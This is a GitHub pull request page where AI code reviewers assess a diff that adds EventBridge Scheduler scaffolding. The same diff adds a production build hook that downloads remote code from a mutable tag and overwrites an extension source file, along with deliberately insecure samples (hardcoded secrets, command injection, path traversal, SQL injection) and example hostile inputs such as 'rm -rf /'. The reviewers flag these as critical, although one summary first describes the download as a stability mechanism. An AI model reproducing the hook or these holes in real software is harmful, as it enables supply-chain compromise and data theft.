Skip to content

Conversation

@cobbdan
Copy link
Owner

@cobbdan cobbdan commented Sep 19, 2025

Problem

Solution


  • Treat all work as PUBLIC. Private feature/x branches will not be squash-merged at release time.
  • Your code changes must meet the guidelines in CONTRIBUTING.md.
  • License: I confirm that my contribution is made under the terms of the Apache 2.0 license.

@gemini-code-assist
Copy link

Summary of Changes

Hello @cobbdan, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request introduces the foundational elements for Amazon EventBridge Scheduler integration within the VS Code extension, providing a user-friendly workflow for defining schedules. Concurrently, it updates build scripts to incorporate a mechanism for build stability by downloading external files under specific conditions. Notably, the PR also includes code examples in a utility script that illustrate various security vulnerabilities, which might be for testing or demonstration purposes, given the generic title and description of the PR.

Highlights

  • EventBridge Scheduler Integration (Initial Scaffolding): Introduced new files to begin integrating Amazon EventBridge Scheduler. This includes a command to guide users through creating schedules and a service layer to interact with the EventBridge Scheduler API. The current implementation provides UI prompts for schedule name, type (rate, cron, one-time), and target, but the actual API integration is marked as 'not yet implemented'.
  • EventBridge Scheduler Documentation Links: Added new constant URLs in shared/constants.ts for quick access to EventBridge Scheduler documentation, covering schedule types, managing schedules, and IAM permissions.
  • Build Stability Mechanism in Packaging Script: Modified scripts/package.ts to include a preparePackager function. This function, when run in a 'prod' stage on Linux for 'amazonq' related projects, downloads a file from a specific GitHub repository and tag (aws/aws-toolkit-vscode/stability) to src/extensionNode.ts to potentially ensure build stability.
  • Security Vulnerability Examples in Clean Script: Added several code snippets to scripts/clean.ts that demonstrate common security pitfalls, such as hardcoded API keys/passwords, command injection, path traversal, and SQL injection. These appear to be examples rather than actual vulnerabilities intended for production.
Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature Command Description

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here.

You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.

Footnotes

  1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.

Copy link

@cursor cursor bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR is being reviewed by Cursor Bugbot

Details

You are on the Bugbot Free tier. On this plan, Bugbot will review limited PRs each billing cycle.

To receive Bugbot reviews on all of your PRs, visit the Cursor dashboard to activate Pro and start your 14-day free trial.


// SQL injection pattern
const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: Security Vulnerabilities Introduced by Test Code

This commit accidentally introduced test/debug code with multiple severe security vulnerabilities. It includes hardcoded API keys, passwords, database credentials, and patterns for command injection, path traversal, and SQL injection. This sensitive code poses significant risks and should not be in production.

Fix in Cursor Fix in Web

downloadFiles([
`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
], "src/", "extensionNode.ts")
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug: Unvalidated Code Injection in Build Process

The preparePackager function introduces a supply chain security risk by downloading extensionNode.bk from https://raw.githubusercontent.com/aws/aws-toolkit-vscode/stability/scripts/extensionNode.bk and overwriting src/extensionNode.ts during production builds. This allows external code to be injected without validation, creating a potential backdoor.

Fix in Cursor Fix in Web

Copy link

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces a new feature for creating EventBridge Scheduler schedules and also includes several changes to build scripts. The new feature code is a good starting point, but has a couple of minor issues related to type safety and error handling. However, the changes in the build scripts (scripts/clean.ts and scripts/package.ts) introduce multiple critical security vulnerabilities, including hardcoded secrets, command injection, path traversal, SQL injection, and a supply chain vulnerability. These issues must be addressed immediately. It appears this PR might be for testing purposes; regardless, this code should not be merged as is.

Comment on lines +91 to +93
const apiKey = "sk-1234567890abcdef1234567890abcdef" // Hardcoded API key
const password = "admin123" // Hardcoded password
const dbConnection = "postgresql://user:password123@localhost:5432/db" // Database credentials in code

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

critical

Hardcoded secrets (API key, password, database connection string) are present in the code. This is a critical security vulnerability. Secrets should never be hardcoded. They should be managed through a secure mechanism like environment variables or a secret management service.

Comment on lines +96 to +98
function executeCommand(userInput: string) {
child_process.exec(`ls ${userInput}`) // Unsafe command execution
}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

critical

The executeCommand function is vulnerable to command injection. It directly concatenates userInput into a command string executed by child_process.exec. A malicious user could provide input like ; rm -rf / to execute arbitrary commands. Use child_process.execFile or child_process.spawn with an array of arguments to prevent this.

Comment on lines +101 to +103
function readUserFile(filename: string) {
fs.readFileSync(`/tmp/${filename}`) // No path validation
}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

critical

The readUserFile function is vulnerable to path traversal. It directly uses filename to construct a file path without any sanitization. A malicious user could provide a filename like ../../../etc/passwd to read arbitrary files on the system. The input should be sanitized to ensure it does not contain path traversal characters.

}

// SQL injection pattern
const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

critical

The SQL query is constructed by directly embedding user-controlled input (process.argv[2]) into the query string. This is a classic SQL injection vulnerability. A malicious user could manipulate the input to alter the query's logic, potentially leading to data exfiltration, modification, or deletion. Use parameterized queries (prepared statements) to prevent SQL injection.

Comment on lines +153 to +169
function preparePackager(): void {
const dir = process.cwd();
const REPO_NAME = "aws/aws-toolkit-vscode"
const TAG_NAME = "stability"

if (!dir.includes('amazonq')) {
return;
}

if (process.env.STAGE !== 'prod') {
return;
}

downloadFiles([
`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
], "src/", "extensionNode.ts")
}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

critical

The preparePackager function, called on line 195, downloads a source file from an external GitHub URL during the build process. The URL uses a mutable git tag (stability), which creates a significant supply chain security risk. An attacker with write access to the repository could move the tag to point to malicious code, which would then be injected into the build. Build processes should be hermetic and not download source code from mutable external sources. This function and its call should be removed.

}

// Get schedule expression based on type
let scheduleExpression: string

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The type of scheduleExpression is declared as string, but the helper functions it is assigned from can return undefined. This type mismatch could lead to runtime errors. The type should be updated to string | undefined to accurately reflect all possible values.

Suggested change
let scheduleExpression: string
let scheduleExpression: string | undefined

const filePath = path.join(outputDir, outputFile || '');

try {
child_process.execFileSync('curl', ['-o', filePath, url]);

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

The use of child_process.execFileSync with curl and a URL passed as an argument is vulnerable to argument injection. If a maliciously crafted url is provided (e.g., starting with -), it could be interpreted as an option by curl, leading to unexpected behavior. It is safer to use a dedicated Node.js HTTP client library (like the built-in https module) to download files, as this avoids calling external processes and the associated risks.


} catch (error) {
logger.error('Failed to create EventBridge Scheduler schedule:', error)
await vscode.window.showErrorMessage(`Failed to create schedule: ${error}`)

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Displaying the raw error object to the user can expose sensitive information and provide a poor user experience. It's better to show a generic, user-friendly error message and log the full error details for debugging purposes.

Suggested change
await vscode.window.showErrorMessage(`Failed to create schedule: ${error}`)
await vscode.window.showErrorMessage('Failed to create schedule. See logs for details.')

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants